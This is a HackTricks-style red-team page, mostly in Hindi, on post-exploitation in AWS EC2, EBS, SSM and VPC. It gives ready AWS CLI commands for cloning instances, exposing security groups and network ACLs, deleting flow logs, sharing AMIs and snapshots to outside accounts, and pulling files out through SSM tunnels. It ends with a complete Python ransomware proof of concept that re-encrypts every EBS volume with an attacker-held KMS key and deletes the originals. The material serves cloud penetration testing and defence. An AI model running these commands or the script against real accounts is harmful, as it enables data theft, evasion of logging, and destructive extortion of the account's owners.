AWS - EC2, EBS, SSM & VPC Post Exploitation

Reading time: 22 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

EC2 & VPC

अधिक जानकारी के लिए देखें:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring duplicates inbound and outbound traffic for EC2 instances within a VPC — instances पर कुछ भी इंस्टॉल करने की आवश्यकता नहीं होती। इस डुप्लिकेट किए गए ट्रैफ़िक को आम तौर पर विश्लेषण और निगरानी के लिए network intrusion detection system (IDS) जैसे सिस्टम को भेजा जाता है.
एक attacker इसका दुरुपयोग करके सभी ट्रैफ़िक को capture कर सकता है और उससे संवेदनशील जानकारी प्राप्त कर सकता है:

अधिक जानकारी के लिए इस पेज को देखें:

AWS - Malicious VPC Mirror

Copy Running Instance

Instances आमतौर पर किसी न किसी तरह की संवेदनशील जानकारी रखते हैं। अंदर पहुँचने के अलग-अलग तरीके हैं (देखें EC2 privilege escalation tricks). हालांकि, इसके भीतर क्या है यह देखने का एक और तरीका है कि एक AMI बनाकर उससे एक नया instance चलाया जाए (यहाँ तक कि अपने ही account में भी):

shell
# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot डंप

Snapshots volumes के बैकअप होते हैं, जो आम तौर पर संवेदनशील जानकारी रखते हैं, इसलिए उनकी जाँच से यह जानकारी उजागर हो सकती है।
अगर आपको कोई volume बिना Snapshot के मिले तो आप: Create a snapshot कर सकते हैं और निम्नलिखित क्रियाएँ कर सकते हैं या बस उसे खाते के अंदर किसी instance में mount कर सकते हैं:

AWS - EBS Snapshot Dump

Covert Disk Exfiltration — AMI Store-to-S3 के माध्यम से

EC2 AMI को सीधे S3 में CreateStoreImageTask का उपयोग करके export करें ताकि बिना snapshot sharing के एक raw disk image प्राप्त किया जा सके। यह पूरी तरह ऑफ़लाइन फॉरेंसिक्स या data theft की अनुमति देता है जबकि instance की networking को अप्रभावित रखा जाता है।

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Live Data Theft — EBS Multi-Attach के माध्यम से

एक io1/io2 Multi-Attach volume को दूसरे instance से attach करें और उसे read-only के रूप में mount करके बिना snapshots के लाइव डेटा निकालें। यह तब उपयोगी है जब victim volume में पहले से ही उसी AZ में Multi-Attach सक्षम हो।

AWS - Live Data Theft via EBS Multi-Attach

EC2 Instance Connect Endpoint Backdoor

एक EC2 Instance Connect Endpoint बनाएं, ingress को authorize करें, और ephemeral SSH keys inject करके managed tunnel के माध्यम से private instances तक पहुँचें। यह public ports खोलने के बिना त्वरित lateral movement paths प्रदान करता है।

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

EC2 ENI Secondary Private IP Hijack

victim ENI की secondary private IP को attacker-controlled ENI पर मूव करें ताकि IP द्वारा allowlisted trusted hosts का impersonation可能 हो। इससे internal ACLs या SG rules जो विशिष्ट addresses पर निर्भर हैं, bypass करने में मदद मिलती है।

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Elastic IP Hijack for Ingress/Egress Impersonation

victim instance से Elastic IP को attacker के साथ reassociate करें ताकि inbound ट्रैफ़िक को intercept किया जा सके या outbound कनेक्शन्स originate किए जा सकें जो trusted public IPs से आते दिखें।

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Security Group Backdoor via Managed Prefix Lists

यदि कोई security group rule किसी customer-managed prefix list को reference करता है, तो attacker CIDRs को उस list में जोड़ने से बिना SG को बदले ही हर dependent SG rule में चुपचाप access बढ़ सकता है।

AWS - Security Group Backdoor via Managed Prefix Lists

VPC Endpoint Egress Bypass

isolated subnets से outbound access वापस पाने के लिए gateway या interface VPC endpoints बनाएं। AWS-managed private links का उपयोग करके missing IGW/NAT controls को bypass कर के data exfiltration की जा सकती है।

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

ec2:AuthorizeSecurityGroupIngress

जिसके पास ec2:AuthorizeSecurityGroupIngress permission है, वह security groups में inbound rules जोड़ सकता है (उदाहरण के लिए, 0.0.0.0/0 से tcp:80 को allow करना), जिससे internal services public Internet या अन्य unauthorized नेटवर्क्स के सामने उजागर हो जाती हैं।

bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

ec2:ReplaceNetworkAclEntry (or similar) permissions वाले हमलावर subnet’s Network ACLs (NACLs) को संशोधित करके उन्हें बहुत permissive बना सकते हैं — उदाहरण के लिए critical ports पर 0.0.0.0/0 की अनुमति देकर — जिससे पूरे subnet रेंज Internet या unauthorized network segments के सामने उजागर हो सकता है। Unlike Security Groups, जिन्हें per-instance पर लागू किया जाता है, NACLs subnet स्तर पर लागू होते हैं, इसलिए किसी restrictive NACL में बदलाव करने से कई और hosts तक पहुँच सक्षम होकर blast radius कहीं ज़्यादा बड़ा हो सकता है।

bash
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

An attacker with ec2:Delete* and iam:Remove* permissions can delete critical infrastructure resources and configurations — for example key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. This can cause immediate service disruption, data loss, and loss of forensic evidence.

एक हमलावर जिनके पास ec2:Delete* और iam:Remove* permissions हों, वे महत्वपूर्ण infrastructure resources और configurations हटा सकते हैं — उदाहरण के लिए key pairs, launch templates/versions, AMIs/snapshots, volumes या attachments, security groups या rules, ENIs/network endpoints, route tables, gateways, या managed endpoints. इससे तुरंत service disruption, data loss, और forensic evidence का नुकसान हो सकता है।

One example is deleting a security group:

aws ec2 delete-security-group
--group-id <SECURITY_GROUP_ID>

VPC Flow Logs Cross-Account Exfiltration

Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.

VPC Flow Logs को attacker-controlled S3 bucket की ओर पॉइंट करें ताकि वह victim account के बाहर नेटवर्क metadata (source/destination, ports) को लगातार संग्रहित कर सके, long-term reconnaissance के लिए।

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Data Exfiltration

DNS Exfiltration

Even if you lock down an EC2 so no traffic can get out, it can still exfil via DNS.

यदि आप EC2 को लॉकडाउन कर दें ताकि कोई traffic बाहर न जा सके, तब भी यह exfil via DNS कर सकता है।

  • VPC Flow Logs will not record this.
  • You have no access to AWS DNS logs.
  • Disable this by setting "enableDnsSupport" to false with:

VPC Flow Logs यह रिकॉर्ड नहीं करेगा।

आपके पास AWS DNS logs तक पहुंच नहीं है।

इसे बंद करने के लिए "enableDnsSupport" को false सेट करें:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.

एक हमलावर उस खाते के API endpoints को कॉल कर सकता है जिसे वह नियंत्रित करता है। Cloudtrail इन कॉल्स को लॉग करेगा और हमलावर Cloudtrail logs में exfiltrate डेटा देख पाएगा।

Open Security Group

You could get further access to network services by opening ports like this:

आप इस तरह पोर्ट खोलकर नेटवर्क सेवाओं तक और अधिक पहुँच प्राप्त कर सकते हैं:

bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

यह संभव है कि एक EC2 instance चलाकर उसे ECS instances चलाने के लिए register किया जाए और फिर ECS instances के डेटा को चुरा लिया जाए।

अधिक जानकारी के लिए यहाँ देखें.

Remove VPC flow logs

bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

आवश्यक अनुमतियाँ:

  • ssm:StartSession

कमांड निष्पादन के अलावा, SSM traffic tunneling की अनुमति देता है, जिसका दुरुपयोग उन EC2 इंस्टेंस से pivot करने के लिए किया जा सकता है जिनके पास Security Groups या NACLs के कारण नेटवर्क एक्सेस नहीं है। एक परिदृश्य जहाँ यह उपयोगी होता है वह है Bastion Host से private EKS cluster में pivot करना।

एक session शुरू करने के लिए आपके पास SessionManagerPlugin इंस्टॉल होना चाहिए: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. अपने मशीन पर SessionManagerPlugin इंस्टॉल करें
  2. निम्नलिखित command का उपयोग करके Bastion EC2 में लॉगिन करें:
shell
aws ssm start-session --target "$INSTANCE_ID"
  1. Abusing SSRF in AWS EC2 environment script का उपयोग करके Bastion EC2 AWS temporary credentials प्राप्त करें
  2. अपने मशीन पर credentials को $HOME/.aws/credentials फाइल में [bastion-ec2] profile के रूप में स्थानांतरित करें
  3. EKS में Bastion EC2 के रूप में लॉग इन करें:
shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. $HOME/.kube/config फ़ाइल में server फ़ील्ड को https://localhost पर इंगित करने के लिए अपडेट करें
  2. निम्नानुसार एक SSM टनल बनाएं:
shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. kubectl टूल से आने वाला ट्रैफ़िक अब Bastion EC2 के माध्यम से SSM टनल के जरिए फॉरवर्ड हो रहा है और आप अपनी मशीन से निम्न कमांड चलाकर निजी EKS क्लस्टर तक पहुँच सकते हैं:
shell
kubectl get pods --insecure-skip-tls-verify

ध्यान दें कि SSL कनेक्शन्स असफल हो जाएँगे जब तक आप --insecure-skip-tls-verify फ्लैग (या K8s audit tools में उसका समकक्ष) सेट न करें। चूँकि ट्रैफ़िक सुरक्षित AWS SSM tunnel के माध्यम से टनल किया जाता है, आप किसी भी प्रकार के MitM हमलों से सुरक्षित हैं।

अंत में, यह technique निजी EKS clusters पर हमला करने के लिए विशिष्ट नहीं है। आप किसी भी अन्य AWS service या किसी custom application पर pivot करने के लिए मनमाने domains और ports सेट कर सकते हैं।


त्वरित लोकल ↔️ रिमोट पोर्ट फॉरवर्ड (AWS-StartPortForwardingSession)

यदि आपको केवल EC2 instance से आपके local host पर एक TCP पोर्ट फॉरवर्ड करने की आवश्यकता है तो आप AWS-StartPortForwardingSession SSM document का उपयोग कर सकते हैं (कोई remote host पैरामीटर आवश्यक नहीं):

bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

The command establishes a bidirectional tunnel between your workstation (localPortNumber) and the selected port (portNumber) on the instance without opening any inbound Security-Group rules.

सामान्य उपयोग के मामले:

  • File exfiltration
  1. instance पर उस डायरेक्टरी की ओर इशारा करने वाला एक त्वरित HTTP server शुरू करें जिसे आप exfiltrate करना चाहते हैं:
bash
python3 -m http.server 8000
  1. अपनी वर्कस्टेशन से SSM tunnel के माध्यम से फाइलें प्राप्त करें:
bash
curl http://localhost:8000/loot.txt -o loot.txt
  • आंतरिक वेब एप्लिकेशन तक पहुँच (उदा. Nessus)
bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

टिप: Compress और encrypt सबूत को exfiltrating करने से पहले ताकि CloudTrail clear-text content को लॉग न करे:

bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

AMI साझा करें

bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

सार्वजनिक और निजी AMIs में संवेदनशील जानकारी खोजें

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel एक tool है जिसे सार्वजनिक या निजी Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए डिज़ाइन किया गया है। यह लक्षित AMIs से instances लॉन्च करने, उनके volumes माउंट करने, और संभावित secrets या संवेदनशील डेटा के लिए स्कैन करने की प्रक्रिया को स्वचालित करता है।

साझा करें EBS Snapshot

bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

यह एक proof of concept है जो S3 post-exploitation notes में दिखाए गए Ransomware demonstration जैसा है। KMS को RMS (Ransomware Management Service) कहा जाना चाहिए, क्योंकि यह विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए उपयोग में कितना आसान है।

सबसे पहले 'attacker' AWS account से KMS में एक customer managed key बनाएं। इस उदाहरण के लिए हम AWS को ही key data मैनेज करने देंगे, लेकिन वास्तविक परिदृश्य में एक malicious actor key data को AWS के नियंत्रण के बाहर रख सकता है। key policy को बदलकर किसी भी AWS account Principal को key उपयोग करने की अनुमति दें। इस key policy के लिए, account का नाम 'AttackSim' था और सभी access की अनुमति देने वाला policy rule 'Outside Encryption' कहा जाता है।

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

अब हमारे पास उपयोग के लिए सार्वजनिक रूप से उपलब्ध key है। हम एक 'victim' account का उपयोग कर सकते हैं जिसमें कुछ EC2 instances चल रहे हों और उनके साथ unencrypted EBS volumes जुड़े हों। इस 'victim' account के EBS volumes वही हैं जिन्हें हम एन्क्रिप्ट करने का लक्ष्य बना रहे हैं — यह हमला एक उच्च-प्रिविलेज AWS account के कथित उल्लंघन (assumed breach) के परिप्रेक्ष्य में किया जा रहा है।

Pasted image 20231231172655 Pasted image 20231231172734

S3 ransomware उदाहरण के समान। यह हमला snapshots का उपयोग करके जुड़े EBS volumes की प्रतियाँ बनाएगा, 'attacker' account से सार्वजनिक रूप से उपलब्ध key का उपयोग नई EBS volumes को एन्क्रिप्ट करने के लिए करेगा, फिर मूल EBS volumes को EC2 instances से detach करके उन्हें delete करेगा, और अंत में उन snapshots को भी delete कर देगा जिनका उपयोग नई एन्क्रिप्टेड EBS volumes बनाने में किया गया था। Pasted image 20231231173130

इसका परिणाम यह होगा कि account में केवल एन्क्रिप्टेड EBS volumes ही उपलब्ध रहेंगे।

Pasted image 20231231173338

यह भी उल्लेखनीय है कि script ने मूल EBS volumes को detach और delete करने के लिए EC2 instances को रोक दिया था। मूल unencrypted volumes अब उपलब्ध नहीं हैं।

Pasted image 20231231173931

अगला कदम, 'attacker' account में key policy पर वापस जाएं और key policy से 'Outside Encryption' policy rule को हटा दें।

json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

नए सेट किए गए key policy के propagate होने तक प्रतीक्षा करें। फिर 'victim' account पर वापस जाएं और नए encrypted EBS volumes में से एक को attach करने की कोशिश करें। आप पाएँगे कि आप volume attach कर सकते हैं।

Pasted image 20231231174131 Pasted image 20231231174258

लेकिन जब आप encrypted EBS volume के साथ EC2 instance को वास्तव में वापस start करने की कोशिश करेंगे, तो यह बस fail हो जाएगा और 'pending' state से वापस 'stopped' state में चला जाएगा और वहीं हमेशा रहेगा, क्योंकि attached EBS volume को key से decrypt नहीं किया जा सकता — key policy अब इसकी अनुमति नहीं देती।

Pasted image 20231231174322 Pasted image 20231231174352

यह उपयोग किया गया python script है। यह 'victim' account के AWS creds और encryption के लिए उपयोग होने वाले key के लिए एक सार्वजनिक रूप से उपलब्ध AWS ARN value लेता है। यह script लक्षित AWS account में जुड़े सभी EC2 instances से जुड़े सभी उपलब्ध EBS volumes की encrypted copies बनाएगा, फिर हर EC2 instance को stop करेगा, original EBS volumes को detach करेगा, उन्हें delete कर देगा, और अंत में प्रक्रिया के दौरान उपयोग किए गए सभी snapshots को भी delete कर देगा। यह लक्षित 'victim' account में केवल encrypted EBS volumes ही छोड़ देगा.

ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, यह destructive है और सभी original EBS volumes को delete कर देगा। आप इन्हें उपयोग किए गए KMS key का उपयोग करके recover कर सकते हैं और snapshots के माध्यम से उन्हें उनकी मूल स्थिति में restore कर सकते हैं, लेकिन मैं आपको बताना चाहता हूँ कि दिन के अंत में यह एक ransomware PoC है।

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें